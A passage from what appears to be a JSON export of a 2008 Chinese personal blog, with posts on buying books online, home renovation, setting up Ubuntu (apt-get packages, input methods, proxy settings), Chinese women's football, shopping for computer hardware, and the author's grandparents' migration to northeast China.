href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\"\u003e买书\u003c/a\u003e(一般指技术类，非技术类在书市买折扣比网上多)一般都是先到\u003ca href=\"http://www.douban.com/\"\u003e豆瓣网\u003c/a\u003e去\u0026rsquo;货比三家\u0026rsquo;，哪家价格低我就在哪里买。上个月25号凌晨未睡，无意中看到\u0026quot;\u003ca href=\"http://www.douban.com/subject/1477390/\"\u003e代码大全2\u003c/a\u003e\u0026ldquo;在\u003ca href=\"http://www.amazon.cn/\"\u003e卓越网\u003c/a\u003e卖价很低，到卓越一看，卓越亚马逊居然还免运费，正巧还想买那本经典的\u0026quot;人月神话\u0026rdquo;，就在卓越下了单。\u003c/p\u003e\n\u003cp\u003e第二天，mail通知已发货，并给出到达预期是在3月3日左右。\u003c/p\u003e\n\u003cp\u003e我买的\u0026quot;\u003ca href=\"http://www.douban.com/subject/1102259/\"\u003e人月神话\u003c/a\u003e\u0026ldquo;是2002年出的平装第二版，而不是去年那个\u003ca href=\"http://www.douban.com/subject/2230248/\"\u003e32周年中文纪念版\u003c/a\u003e，后者略贵，关键是内容也没有什么变化。\u0026ldquo;代码大全2\u0026quot;已经出版很久了，一直没有买。刚出版时翻了翻，感觉很多内容自己不关心，最近又翻了翻其中文电子版，认真的读了几章后决定拿下，好书，先收藏起来，至于什么时候读，什么时候读完那是后话^_^。\u003c/p\u003e\n\u003cp\u003e下午，接到送货员的电话，赶紧下楼取货。\u0026quot;\u003ca href=\"http://www.douban.com/subject/1102259/\"\u003e人月神话\u003c/a\u003e\u0026ldquo;由于出版年头已久，不免有些\u0026quot;沧桑感\u0026rdquo;(略有些发旧，估计库存时间很长了)，而\u0026quot;代码大全2\u0026quot;则是崭新的，一共是94.1元，我说我没有零钱，送货员说他自带了零钱，给他100元，他找了我6元，说那一角钱就算了。看来卓越的服务还不错^_^。回到座位上突然想到下单时忘记开发票了，记忆中好像卓越没有提供发票选项，实在是记不得了，待下次下单时再重点关注一下。\u003c/p\u003e\n\u003cp\u003e卓越网在沈阳的送货上门服务范围是二环以内，由于公司在开发区，已经超出此范围了，我下单时就trick了一把，故意选择二环内的和平区，然后送货地址填写正确的地址，我是想看看到底卓越能否给我送到，还别说这招真灵。用白云大妈的话来讲：真是太有才了!^_^\u003c/p\u003e","title":"在卓越网买书"},{"content":"昨天终于迈出了装修的第一步，与沈城一家还算不错的装修公司签订了装修合同。之所以在题目中使用了\u0026quot;博弈\u0026quot;一词，相信有过家装经历的人都能理解其深刻含义。与装修公司’斗’，与材料提供商’斗’，与施工工人’斗’，与自己’斗’。\n家装绝对是一件系统工程，现在的家装公司鱼龙混杂，装饰材料市场更是陷阱重重，想起来就头痛。还好我十分认可\u0026quot;装修是一门遗憾的艺术\u0026quot;这一说法，有时候也就不那么较真了。但是该认真的地方还是要认真的，我们这些门外汉应该也只能做到抓牢重点了，面面俱到基本不可能了。\n装修的资料还是蛮多的，焦点家装论坛里应有尽有，就怕你看不完或者看完后不能理解。装修前的知识储备是一块重点，应该首先学习学习。装修预算自己也要心中有数，如果银子不够，那千万别找那些高档装修公司，否则基础装修的费用就可以掏空你的银包。现在物价在涨、工人工资也在涨，开春伊始，各大装修公司都在涨价，目前看来这不是在忽悠你，而的确是事实，如果能用老报价出单，应该可以省一部分钱，如果看得差不多，就赶快定下来，要知道\u0026quot;天下乌鸦一般黑\u0026quot;，在你左右不定的时候，各种报价就已经涨上来了，工人还是那些工人，材料的品质还是一样的。\n向设计师要一份主材的列表，周末赶紧去搜街，从高档的建材商场如居然之家，到低档的建材大集，最好都能去看看，了解一下，如果遇到物美价廉的材料，能定下来那是最好。买材料的时候，也是和你自己斗法的时候，到底在商场里的选购还是在建材集聚的专卖门市选购你需要做个权衡，像居然之家这样的商场一般都有无条件退货的规定，售后应该有保证；到私人的品牌专卖，那你就要看运气了。不过有一点就是在签署买卖合同时，有些不确定因素一定要白纸黑字的记录在合同上，口头上的协议是没有保障的。\n与装修公司签合同前你可要反复看设计师给你出的预算书，无非材料、面积和工艺，面积你自己可以量，如果与自己量的出入很大，那就让设计师给你说清楚，我自己感觉有些小公司可能在面积上做文章，每项多几个平米，那么十几项多出的钱也是不菲的；一般设计公司都会有材料单，都会将其主打的材料放在明显位置，但是往往你忽略的就是那些不起眼的材料，比如下水管、四方盒、穿线管等。你要和设计师确认这些材料，即使这些材料不是品牌的，你也要让设计师在预算书中标出：这些材料是原生料，而不是二次回收料；至于工艺，很多都已经标准化了，在网上都能查的到，认真比对一下，不明白的让设计师讲讲，直到双方达成一致。\n装修，费心费力费时间，对于独自在外的工薪族更是如此，每周只有周六、周日两天时间能够搜街、买材料，往往是早上很早出去，晚上很晚回来，这不上周末我就是这么度过的，去过铁西九路、陶林居、新北方建材城、东方家园、居然之家，开始时还蛮有激情，走的多了，看得多了，也就身心俱疲了。坚持就是胜利，本周继续搜街，在3.15这几天会有活动，也许能找到物美价廉的材料。\n由于目前气温还不高，虽然合同签订了，但是还未计划开工，还有一段时间准备期，我常常在心里和自己说：\u0026ldquo;熬过去就好了\u0026rdquo;。^_^\n","permalink":"https://tonybai.com/2008/03/04/house-decoration-notes-the-first-step/","summary":"\u003cp\u003e昨天终于迈出了装修的第一步，与沈城一家还算不错的装修公司签订了装修合同。之所以在题目中使用了\u0026quot;博弈\u0026quot;一词，相信有过家装经历的人都能理解其深刻含义。与装修公司’斗’，与材料提供商’斗’，与施工工人’斗’，与自己’斗’。\u003c/p\u003e","title":"装修博弈·迈出第一步"},{"content":"在公司里面，Windows还是一统天下的。人们已经熟悉了Windows上的各种软件和使用方法，特别是一些常用的配置管理工具，我们用的都是微软的产品，譬如Visual Source Safe，这给转到Ubuntu带来了一些麻烦，Ubuntu下虽然有Wine这个好工具，但是对于复杂的Windows软件来说，Wine的支持还是难以满足需求的。\n在家里的时候一直都是用无线路由器上网的，开机登录桌面后无线就自动连接上了，所以我也一直没有配置过有线网络。在公司里一般都是DHCP或者静态IP分配的。我们这用的是后者，这就需要对Ubuntu进行静态IP分配。从\u0026quot;Beginning Ubuntu Linux \u0026ldquo;一书中找到了相关的设置方式(P116)，System -\u0026gt; Administration -\u0026gt; Networking，在弹开的对话框中选择Wired connection，点击其Properties，设置IP和DNS。Ubuntu的网络设置生效方式很特殊，先去掉Wired connection前面的选择框，然后recheck这个选择框，这样Ubuntu就会重新激活这个网络配置，我就因为不了解这个走了很长时间弯路。\n公司一般都会有http访问代理，我在firefox代理配置时必须选择\u0026quot;自动代理配置\u0026quot;才能访问网络，否则使用\u0026quot;手动代理配置\u0026quot;总是无法访问，奇怪的很。\nUbuntu的软件都是使用apt-get install的，我们在使用代理的网络里也需要给apt-get设置代理，这个在官方Wiki有说明，最简单的方式就是在需要安装软件的时候临时设置一个环境变量，以防更换网络配置时还需要到配置文件中修改代理设置。在你的一个终端窗口(Alt+F2, 输入gnome-terminal打开此窗口)输入：export http_proxy=http://username:passwd@proxyipaddr:port，如果你的网络环境不是总变化的话，可以将其放入.bashrc中。\n公司的网络不知为什么访问Ubuntu的几个源服务器还是蛮快的，装Subversion、ruby就用了不到几分钟，如果是在家里，那半个小时也搞不定，铁通的网络真的不咋的。\n就这样，一上午都一直在用Ubuntu编码，直到下午要回复一封重要的mail，才换回Windows，没办法，邮件都在outlook里呢。\n用Ubuntu时间不长，但是也感觉到了Linux的GUI界面的反应灵敏度的确逊色于Windows，昨天GF在Ubuntu下玩在线Flash游戏时就一直向我抱怨这是什么’破系统’，但不知者不乖，毕竟Linux使用的是X-Windows，不像Windows将GUI做到内核里去了，反应慢也是情有可原的，能理解。\n","permalink":"https://tonybai.com/2008/02/27/work-on-ubuntu-this-morning/","summary":"\u003cp\u003e在公司里面，Windows还是一统天下的。人们已经熟悉了Windows上的各种软件和使用方法，特别是一些常用的配置管理工具，我们用的都是微软的产品，譬如Visual Source Safe，这给转到Ubuntu带来了一些麻烦，Ubuntu下虽然有Wine这个好工具，但是对于复杂的Windows软件来说，Wine的支持还是难以满足需求的。\u003c/p\u003e","title":"使用Ubuntu工作了一上午"},{"content":"好久不说中国足球了，那是因为中国男足已经没什么可说的了，说了也白说，水平还是那么’洼’！这次提笔，那是因为中国女足，为女足的发展痛心，曾几何时中国女足那是多么娇艳的一朵’铿锵玫瑰’啊，而如今却开始了走上了类似中国男足的’不归路’。\n昨天晚上6点从外面回来，打开电视机，换到奥运频道正在直播的东亚四强赛女足最后一轮：中国vs.日本。当看到屏幕上的比分时，心彻底凉了。0:3，这绝对是一场完败，是中国女足在岔路口上的一次选择，遗憾的是女足选择了’下坡路’、’不归路’。我们同样不可否认的是这一战昭示着日本女足亚洲称霸的时代即将到来。\n具体的过程我没看多少，也不用看许多，撇一眼女足在场上的表现就知道不是日本队超水平发挥，而是中国女足实力不济。还是那句：曾几何时，中国女足打日本女足那真是小儿科，或者说派上中国二队，三队也能灭日本队个X : 0(X \u0026gt;= 2)。而现实中，我们彻底输了。\n输在哪了呢？管理体制！管理体制！还是管理体制！如果足协的领导还死不承认是他们的问题的话，那就看看日本女足近两年的发展吧，这可是活生生的证据啊！这里引用新华网一篇报道中的一段话：\u0026ldquo;日本队主教练佐佐木去年带领青年队参加女足亚青赛时还透露过一个原因。他当时表示，日本有300支女足队伍，各年龄段的比赛制度、培训和培养机制都非常完善；环境好、基础好，所以成长快、进步大\u0026rdquo;。\n其实各国发展女足实际上都存在各种各样的问题，日本也不例外，但为什么日本人让女足迅速发展起来了呢？你不得不服气。小日本的确有一套。知道有一套就去学吧，中国足协应该放下架子了，虚心学习学习吧，别总看眼前这点利益吧，把眼光放的长远些，否则白云大妈就更揪心了^_^。\n以下台词对白摘自2008央视春晚小品\u0026quot;奥运火炬手\u0026quot;：\n刘：什么运动让人看着揪心？\n宋(起身回答)：足球！\n刘：什么运动看着更揪心？\n宋：中国足球！\n","permalink":"https://tonybai.com/2008/02/25/women-football-team-is-on-the-wrong-way/","summary":"\u003cp\u003e好久不说中国足球了，那是因为中国男足已经没什么可说的了，说了也白说，水平还是那么’洼’！这次提笔，那是因为中国女足，为女足的发展痛心，曾几何时中国女足那是多么娇艳的一朵’铿锵玫瑰’啊，而如今却开始了走上了类似中国男足的’不归路’。\u003c/p\u003e","title":"中国女足走上男足之路"},{"content":"春节过后，项目一直比较忙，\n我的Ubuntu自从上周日安装到系统中后就一直没有怎么用过，好不容易盼到周末了，这回可有时间体验一下\u0026rsquo;热得烫手\u0026rsquo;的Ubuntu了。\nDreamhead在评论中给我的建议是:坚持使用Ubuntu，你就会越用越熟练的。这同样也是我的想法，所以首要的任务就是先体验一下Ubuntu，看其是否能满足我工作和平时娱乐的需要。\nLinux总是让新手\u0026rsquo;迷路\u0026rsquo;,我所说的\u0026rsquo;迷路\u0026rsquo;是指在进入Linux后\u0026rsquo;不知所错\u0026rsquo;。下面就说说我在Ubuntu下的一步一步的体验经历。\n刚刚装好Ubuntu，并成功登入桌面后，我还是蛮兴奋的，毕竟安装过程一番风顺，且Ubuntu自动找到了我的D-LINK无线路由器，经过简单设置就可以连上Internet了，有了网络就好像插上了翅膀，有什么问题也就不怕了。Ubuntu默认的Gnome桌面很是简洁，位于桌面上方的菜单栏中放置了所有有用的菜单项。Ubuntu内置了许多有用的开源应用，比如：Firefox、OpenOffice系列等，这些满足你的基本需求是没有问题的。但是一般使用Ubuntu的Fans是不满足于此的。我们要对Ubuntu进行充分的挖掘。\nUbuntu的默认字体说实话是很难看的，而且初始情况下是不支持中文输入法的。所以安装中文输入法和中文字体就成为了我的首要任务。如果说通过看资料就能熟练掌握Ubuntu是不行的，那么一点资料不看，自己捅咕也是万万不行的。\n按照网上资料的做法，在命令行中敲入类似:sudo apt-get install in-switch scim scim-pinyin scim-tables-zhscim-bridge的命令，回车后，居然提示：找不到in-switch包，反复在root和应用用户下试了多次都提示找不到，郁闷中继续在网上搜索，直到发现ubuntu官方wiki中的一篇\u0026rsquo;快速设置指南\u0026lsquo;的文章，我这才\u0026rsquo;茅塞顿开\u0026rsquo;。原来Ubuntu在安装后的第一步就是所谓\u0026rsquo;更新源（即/etc/apt/sources.list）\u0026rsquo;。sources.list在初始情况下是不存在的，我们需要首先编辑/etc/apt/sources.list，在sources.list中添加若干个Ubuntu服务器的url地址，编辑保存后执行sudo apt-get update。每次人工更新sources.list后都要执行一遍update。更新后，我们就可以执行sudo apt-get install package-name来安装需要的软件包了。Ubuntu的软件多为网络安装，apt-get install会自动从服务器上下载包并安装。这里的sudo又是什么意思呢？按照\u0026rsquo;快速设置指南\u0026rsquo;中的说法: sudo就是以超级用户执行[Superuser Do]的意思，这时你只需要输入你的用户密码即可按照超级用户权限执行install任务了。\n首先，我还是按照前面的命令来安装in-switch、scim和scim-pinyin。网络安装是把\u0026rsquo;双刃剑\u0026rsquo;，好处在于你不用像在Windows上寻找软件那样到各大下载网站去下载了，你只需要敲入一个命令，apt-get就会替你到源服务器上去找去下载。但是缺点也是明显的，特别是在大陆，网络环境不好，下载很慢，一个scim就让我等得不耐烦了。另外是否每次重装ubuntu都要重新下载一次呢？起码在Windows上我下载一次安装文件后，我可以放到移动硬盘上保存备用。听说小企鹅输入法安装文件较小，可以用来替代scim，那就用小企鹅输入法吧。按照如下命令执行：\nsudo apt-get install im-switch fcitx\nsudo im-switch -s fcitx -z default\n大约3M左右的fcitx输入法在10分钟之内就安装结束了。安装后的fcitx的确与系统自带的scim有冲突，指南中已经给出解决方法了，照做就是了。具体如下：\nsudo gedit /usr/lib/gtk-2.0/2.10.0/immodule-files.d/scim-gtk2-immodule.immodules\n将内容改为如下：\n# automatically generated by dh_gtkmodules, do not edit\n“/usr/lib/gtk-2.0/2.10.0/immodules/im-scim.so”\n“scim” “SCIM Input Method” “scim” “/usr/share/locale” “ja:ko”\n这样修改以后，scim在中文环境下将不被启动，也就不会于fcitx冲突了。\n下面开始安装中文包支持以及中文字体。选择System-\u0026gt;系统管理-\u0026gt;Language Support,在打开的对话框中的Supported Language中选择Chinese，默认语言也选择Chinese，确定后，系统会提示需要安装语言包，安装就是了。语言包挺多挺大下载也挺慢，耐心吧。\nUbuntu默认带了一种叫：文鼎PL上海宋的字体，毫无疑问不能满足我们的审美观，我们需要另外安装自己喜欢的字体。在Ubuntu中文论坛上很多认推荐安装的是一种叫：文泉驿的开源中文字体，我也试试。执行sudo apt-get install xfonts-wqy，安装后重启X-Windows。然后在\u0026rsquo;System\u0026rsquo;-\u0026gt;首选项 -\u0026gt;外观中将你想设置为文泉驿的地方都选择上即可。网上还有很多漂亮的字体，我就姑且先用这个吧。\nLinux经过多年发展，其娱乐性也有了长足的进步，除了内置十多款小游戏外，还内置了多款影音播放软件。我打开其中一款叫RthythmBox，选择了一首MP3试图打开收听，让我气愤的是居然提示我:找不到mp3的解码器。按照网上的指示：sudo apt-get install w32codecs。心想这回总该可以了吧。结果点击play，问题依旧。提示找不到mp3 decoder。无奈中采用了一招windows下的打开mp3的方法：双击那个mp3文件，居然弹出一个对话框告诉我，找不到mp3的decoder，并提示是否下载restricted packages，下载就是了。也许mp3格式文件涉及版权或者某些专利吧，以致ubuntu没有将其纳入解码支持。当杨坤演唱的颇为震撼的集结号主题曲\u0026rsquo;兄弟\u0026rsquo;响起时，ubuntu的影音功能这才算配置好。\n作为C开发人员，怎能离开gcc呢。打开命令行，输入gcc -v，得到的信息：gcc version 4.1.3 20070929 (prerelease) (Ubuntu 4.1.2-16ubuntu2)，ubuntu果然内置了gcc，而且版本也基本上是最新的了。写一个小\u0026rsquo;hello ubuntu\u0026rsquo;程序试试吧。执行gcc -o helloubuntu helloubuntu.c后一个error呈现在我的眼前，居然提示：找不到stdio.h！难道ubuntu下没有安装C标准库的头文件和库文件，经检查的确没有安装。没办法还得借助网络，好心人给出方法：执行sudo apt-get instal build-essential。果不其然，在build-essential安装到系统中后，hello ubuntu也得以顺利编译和执行了。\n平时一直使用的是vim，众所周知vim支持定制，我把我的.vimrc文件放到了HOME目录下，执行vim，出乎意料的是vim提示：E319: Sorry, the command is not available in this version: syntax on。我仔细看了一下vim是7.1.x版本的，怎能连syntax on这种配置语法都不支持呢？在网上搜索了很久，终于在一个台湾地区的网站得到了答案：ubuntu的vim还是一个tiny version，的确连syntax on都不支持。你需要执行sudo apt-get install vim来重新安装full vim版本才能支持这些个性化配置。\nLinux毕竟不是以桌面系统起家的，试用了这么长时间感觉在Ubuntu上用光标总是不那么顺手，特别是用笔记本的Touchpad(触控板)控制光标总是会有失误，稍不注意，就导致页面上下左右乱动。无奈中尽量强迫自己多记忆些快捷键组合，试用键盘还是比较精确的，另外对于程序员而言多记住一些快捷键是大有裨益的，习惯后可以大大提高工作效率。\n最后牢骚一句：X-Window桌面在频繁鼠标、键盘事件发生时反映很是不灵敏，在写Blog的时候，Gedit多次失去了反应，无奈只能关闭重启。另外本篇blog就是在ubuntu linux下使用gedit编辑的^_^。\n","permalink":"https://tonybai.com/2008/02/23/many-complaints-about-ubuntu/","summary":"\u003cp\u003e春节过后，项目一直比较忙，\u003c/p\u003e\n\u003cp\u003e我的Ubuntu自从上周日安装到系统中后就一直没有怎么用过，好不容易盼到周末了，这回可有时间体验一下\u0026rsquo;热得烫手\u0026rsquo;的Ubuntu了。\u003c/p\u003e","title":"牢骚中体验Ubuntu"},{"content":"昨天GF惊奇的问我：\u0026ldquo;你怎么写那么多字？用word统计了一下有近5000字\u0026rdquo;，GF所指的是我几天前写的一篇叫\u0026lt;姥姥姥爷\u0026rsquo;闯关东\u0026rsquo;\u0026gt;的文章。GF的这句话也让我脑子里闪出一个念头，我的Blog在别人的眼中到底是什么样子的呢？我给我自己的评价是：文字太生硬、太干涩。\n也许这是很大一部分技术人员的通病：喜钻研，但不善于表达，这里的表达包括文字表达和口头沟通，我想这同样也是圈内很多技术出身且文采出众的人能成为众人关注对象的原因，比如负暄琐话、梦想风暴等。\n文采差，根源在于文学素养太差，年幼时读诗书太少，如果不是过于贪玩，那么一定就是应试教育的受害者，应试教育逼着你天天做题，作文就是应付，少有时间体味生活的多彩。我长大后时常在想：那个时候怎么不叛逆些呢？怎么就知道埋头读死书呢？现在想法倒是很多，不过已经晚矣!\n回头看看自己的文章，技术类的逻辑性很强，文章规模可以写的很大；而那些非技术类的，规模小，文字生涩，感觉形散神更散:)。我写文章还有一个特点就是喜欢摆事实，平铺直叙，如果事实中蕴含情感，那么我的文字也就有了情感，否则就会感觉是\u0026rsquo;生搬硬套\u0026rsquo;，丝毫没有雕琢和润饰。没办法，底子太薄，估计也无法有很大提高了，除非回炉另造，那只是\u0026rsquo;幻想\u0026rsquo;了。\nBlog还要继续写，可能依旧是平铺直叙，你就凑合看吧^_^。\n","permalink":"https://tonybai.com/2008/02/18/my-words-is-too-stiff/","summary":"\u003cp\u003e昨天GF惊奇的问我：\u0026ldquo;你怎么写那么多字？用word统计了一下有近5000字\u0026rdquo;，GF所指的是我几天前写的一篇叫\u0026lt;\u003ca href=\"http://tonybai.com/2008/02/15/grandparents-making-a-living-to-northeast/\"\u003e姥姥姥爷\u0026rsquo;闯关东\u0026rsquo;\u003c/a\u003e\u0026gt;的文章。GF的这句话也让我脑子里闪出一个念头，我的Blog在别人的眼中到底是什么样子的呢？我给我自己的评价是：文字太生硬、太干涩。\u003c/p\u003e","title":"自己的文字太生硬、太干涩!"},{"content":"花了大半天时间备份数据，重装Windows后，终于可以安装Ubuntu了。Ubuntu 7.10的光盘在我的抽屉里都躺了多个月了，今天终于有了用武之地了。因为有了移动硬盘，我将笔记本硬盘的一个分区腾了出来，用来安装Ubuntu，分区大约20G，分出10个G来挂载/，1个G做SWAP分区，剩下一个FAT32分区存用户数据。\nIBM Thinkpad笔记本向来对Linux的兼容性就很好，我这次安装也印证了这一点，很顺利。用LIVECD引导，图形化安装，安装向导总共分七步，然后就不用你再干涉了。待安装后重启，Ubuntu的LOGO就呈现在你的眼前了(如果是Windows和Linux双系统的话，需要你做一下选择)。\n输入用户名、密码后进入到Ubuntu的桌面环境，第一眼我就看到网络那个图标在闪烁，原来是找到我的D-LINK无线网络了，输入密码就可以连上了，真没想到Linux下上网居然是这么Easy。Linux的桌面环境对我来说还是比较陌生的，只能慢慢摸索。Ubuntu的默认字体并不是很好看，我尝试去找相关设置，结果除了发现一个什么’上海宋体’的字体外，就在也没有找到中文相关字体；输入法也没有直接提供中文支持，反倒提供了许多其他小语种的支持，如越南语。\n对于Linux桌面系统，自己还真的不知从何入手，又时间有限，还没有时间详细研究Ubuntu，Ubuntu中文论坛上倒是有很多好帖子，待我腾出时间后细致尝试。明天就要上班了，刚装好的Windows还需要做一个Ghost镜像，便于以后重装，工作中需要的软件也要装上，自己也要尽快从假日的松弛状态中恢复过来，活儿还不少，Come on!\n","permalink":"https://tonybai.com/2008/02/17/install-ubuntu-7-10-the-first-time/","summary":"\u003cp\u003e花了大半天时间备份数据，重装Windows后，终于可以安装Ubuntu了。Ubuntu 7.10的光盘在我的抽屉里都躺了多个月了，今天终于有了用武之地了。因为有了移动硬盘，我将笔记本硬盘的一个分区腾了出来，用来安装Ubuntu，分区大约20G，分出10个G来挂载/，1个G做SWAP分区，剩下一个FAT32分区存用户数据。\u003c/p\u003e","title":"初装Ubuntu 7.10"},{"content":"手里的这台IBM本本自从到我手里后就一直没有重装过，目前问题多多了，比如在公司访问不了Visual SourceSafe服务器、自带防火墙始终被组策略限制着等等。笔记本的容量才40G，在今天这个\u0026rsquo;海量\u0026rsquo;存储的时代里，显然有些落伍了，容量的限制也让我束手束脚，这不前些时候拿到的Ubuntu 7.10光盘后就一直没有机会安装。春节之前就已经将重装机器列入了假期计划之一，今天付诸实施，首先需要采购一个足够大的移动硬盘来备份宝贵的数据，也就有了今天的三好街之行。\n除了移动硬盘之外，无线路由器也被列入了今天的采购计划。无线的工作环境一直是我的梦想 ，这里只是迈出第一步罢了:)。\n节后的三好街依旧是一片繁忙景象，各大卖场里人头攒动，熙熙攘攘，DIY装机店中更是黑压压坐满了人。我的目标很明确：移动硬盘+无线路由。来三好街之前，我在网上查了一些资料，基本确定了：纽曼的\u0026rsquo;亮剑\u0026rsquo;系列120G和D-LINK 624+A无线路由的组合。好久不关注这些电子产品的更新换代了，心里也没谱，所以为了减少被\u0026rsquo;欺诈\u0026rsquo;的可能性，我花了近两个小时先后转了诚大、赛博、东软电脑城和百脑汇，纽曼的硬盘价格从720降到660，路由器的价格从210到195，真是不逛不知道，一逛吓一跳啊，仅仅两样商品差价就有近百元，就这样，我最后买下的价格是否有水分我心里也没底，所以劝想买数码产品的人还是多多了解一下，多问几家。\n搜街的时候，我也关注了一下其他品牌的移动硬盘，其中在东软电脑城二楼就有一家兼卖三星移动硬盘，这家卖的很杂，所以我也做了提防。不出所料，一番口舌之后，那个女销售人员开始向我推荐一款三星120G的产品，报价530，这个价格在目前来说算是低的了，可是为什么报这么低我也不是很清楚。女销售随即向我Show带有包装盒的真盘，包装很精致，三星的标志也很醒目，而且贴有防伪标签，标签上印有三星的800防伪查询电话号码，我是看不出什么破绽的。不过还是那句话\u0026quot;冲动是魔鬼\u0026quot;，强迫自己离开这个柜台到其他柜台打听个究竟。后来得知，这款产品的确是假货，其他柜台的销售悄悄告知：像防伪号码这种很好仿造，网上就可以得到，这些仿制品用网上的有效号码，你打电话查询也是没有问题的。由此我得到一丝经验：买电子产品还是尽量到专卖的地方去买，如果一家柜台摆了多种品牌的产品，那你基本上就不要那多浪费时间了，价钱贵不说，是否是真品还不能保证。我最终是在赛博二楼的一家叫\u0026rsquo;金实\u0026rsquo;的纽曼代理专柜买的移动硬盘，这家代理所有的商品都是纽曼的，看起来也感觉让人放心。唯一遗憾是本想买\u0026rsquo;亮剑\u0026rsquo;黑金系列，结果销售告诉我那款是限量版，辽宁地区都没货，结果只能拿到一个全钢银色版的。纽曼毕竟是做移动硬盘的老厂商了，产品质量应该没的说，事实也是如此，8M缓存/5400转的硬盘速度就是快，拷贝数百兆的数据也就那么一瞬间。\u0026lsquo;亮剑\u0026rsquo;系列的蓝色指示灯也显得那么高贵典雅。\nD-LINK无线路由一般是没有假货的，所以只要找最低价出手就可以了。D-LINK 624+A无线路由的天线是可拆卸的，如果觉得信号弱，可以更换增益更大的天线。到目前为止，我的D-LINK 624+A无线路由的信号强度都是令我满意的，而且没有掉过线。D-LINK还有一款524M，功能上与624+A差别不大，就是天线是固定不可拆卸的，外观是白色的，据说是参照Apple的风格设计的，估计190就可以拿下，如果喜欢Apple风格或者白色外观的朋友可以考虑之。\n","permalink":"https://tonybai.com/2008/02/16/shopping-on-the-sanhao-street-after-festival/","summary":"\u003cp\u003e手里的这台IBM本本自从到我手里后就一直没有重装过，目前问题多多了，比如在公司访问不了Visual SourceSafe服务器、自带防火墙始终被组策略限制着等等。笔记本的容量才40G，在今天这个\u0026rsquo;海量\u0026rsquo;存储的时代里，显然有些落伍了，容量的限制也让我束手束脚，这不前些时候拿到的\u003ca href=\"http://tonybai.com/2007/11/25/got-ubuntu-7-disc/\"\u003eUbuntu\u003c/a\u003e 7.10光盘后就一直没有机会安装。春节之前就已经将重装机器列入了假期计划之一，今天付诸实施，首先需要采购一个足够大的移动硬盘来备份宝贵的数据，也就有了今天的\u003ca href=\"http://www.sanhaostreet.com/\"\u003e三好街\u003c/a\u003e之行。\u003c/p\u003e","title":"节后逛三好街"},{"content":"2008年开年大戏，包括央视在内的各大电视台都在热播的由李幼斌主演的电视剧\u0026rsquo;闯关东\u0026lsquo;将我们带回了那个贫苦的年代，辽宁卫视和山东卫视更是连播了两遍。\u0026lsquo;闯关东\u0026rsquo;是一部血泪史，更是一部奋斗史。随着时间推移，其实各个年代都会有\u0026rsquo;闯关东\u0026rsquo;中人物的影子，我这里要说的是我的姥姥和姥爷，说说他们从江浙之地迁移到东北的真实故事，故事由我记忆中的点点滴滴整理而成，这些内容都是小时候姥姥姥爷给我讲的。\n从小到大，我最喜欢听姥姥给我们讲她和姥爷的旧事，因为很是好奇。姥姥今年80多了，如果姥爷没去世的话，今年也将近80了。处于这个年龄段的老人一般都阅历丰富。先后经历从民国、八年抗战、国共内战、新中国成立、文革、改革开放等二十世纪中国历史上的各个关键时期。当然了由于姥姥和姥爷文化有限，虽身处那个年代，但是却对国事了解不多，给我们讲的大多是新中国成立后的事情了。\n姥姥姥爷都祖籍江苏扬州，姥姥家家境贫苦，从小就作为姥爷家的童养媳在姥爷家做工，我估计那时姥姥也就10几岁。姥爷在家里排行老大，这样姥姥作为大儿媳妇还要照顾小弟。其实姥爷按照出生顺序并不是老大，只是因为姥爷前面的哥哥姐姐都夭折了，也是姥爷命好，到他这活了下来，他之后的弟弟们也都活了下来，姥爷的母亲一生共生养了10多个娃，存活下来的只有几个(姥爷和我说过，我记不清是几个了，至少有三个)。我在姥姥家的相册中曾经见到过姥爷的母亲的照片，那是一张黑白照片，中间一个瘦瘦的头发花白的老太太，脸上没有多少肉，都是带褶的皮了，看年纪有80多了。这位老太太活到90多岁才去世。姥姥说她的婆婆是一个很传统、很严厉，但是却特爱干净的老太太，小时候姥姥没少挨训斥，同时受熏陶，养成了爱干净的好习惯，至今姥姥的贴身衣服都要自己动手洗、每天都坚持自己收拾房间。姥爷家的家境还不错，姥爷小的时候上过私塾，写的一手好毛笔字，而且算盘打的很好，后来姥爷在银行工作也是得益于他的算盘基础。\n姥姥的记忆中，扬州城水多，那时候城中布满河渠，船是主要的交通工具，我没有去过扬州，不知道现在的扬州城是否依旧如此。我的大舅、我母亲以及我的二舅出生在扬州，随后因为工作调动，姥爷来到了东北。姥姥在扬州又待了两年后，也跟着姥爷走上了\u0026rsquo;闯关东\u0026rsquo;之路。\n按照姥姥的话：当时她背着还在襁褓中的我二舅，只身一人来到东北的陌生小镇-海城，随身连根筷子都没带，生活之苦可想而知。开始组织还没有给姥姥安排工作，姥姥就自己先找了份保姆的工作-给一家知识分子家庭做保姆，一个月15元。数九寒冬，姥姥每天都要早起并步行到雇主家做早饭。后来经组织上协调，姥姥终于有了正式工作，进入了一家国有陶瓷厂，姥姥说她在厂子里砸大石头，运大石头，我想应该是陶瓷工艺中的材料预选工作吧，这种老爷们儿干起来都费劲的工作，姥姥硬是每月都拿一等绩效奖，奖金好像是18元，奖金用来补贴家用，没办法，姥姥说那时候工资太少，孩子多，吃穿住行哪不需要钱。在那样的贫苦年代，我姥姥应每年都拿先进生产者和先进生产班组奖，镇劳模、鞍山市劳模也是常拿的奖。姥姥的想法是：作为一个独自在东北生活的南方人，如果不在工作上有所建树，会让本地人瞧不起的。由于姥姥在工作上的过多投入，家里少有人照看，只能大的孩子照看小的。那时姥姥除了我母亲外还生了一个女儿，姥姥平时忙，姥爷在外地工作，没法照看，白天就让我母亲照顾妹妹，我母亲当时还是个孩子，除了自己玩，哪知道照看妹妹啊，结果有一天小孩儿发了高烧，等姥姥下班回家后，小孩儿已经不行了，并最终夭折了。说起这件事，姥姥还是觉得自己对不起那个孩子。\n再说说我姥爷，姥爷本来是在银行(信用社)工作的，姥爷很单纯，没什么心眼儿，有一次出差，姥爷想给孩子们买了点好吃的带回家，而当时身上没有带足够的钱，就用公款买了，并计划回家后再还上公款，结果这件事被人告发，那时候的确是有小人的，姥姥为了这件事没少埋怨姥爷，到今天姥姥还心有余悸。在那个阶级斗争为纲的年代，这一点点小错误，就让姥爷进了监狱，当然时间不长，今天的人如果听到这个故事一定都会感到惊讶，但是在那个年代，这确是事实。释放后的姥爷先待业，直到后来大连铁路局招工，姥爷才重新上岗，在铁路大修段工作，每天也是风吹日晒的在外面，而且常年工作在外，无法回家照看。家里的大小琐事都压到了姥姥一个人的肩上。\n生活一直这样继续着，国家先后经历了三年自然灾害、大跃进、文革，三年自然灾害那段时间，那真是苦上加苦，按照姥姥和我母亲的说法，那时候根本就吃不饱，每个月凭票领得供应粮几天就吃没了，到后期干脆就是断粮了。姥姥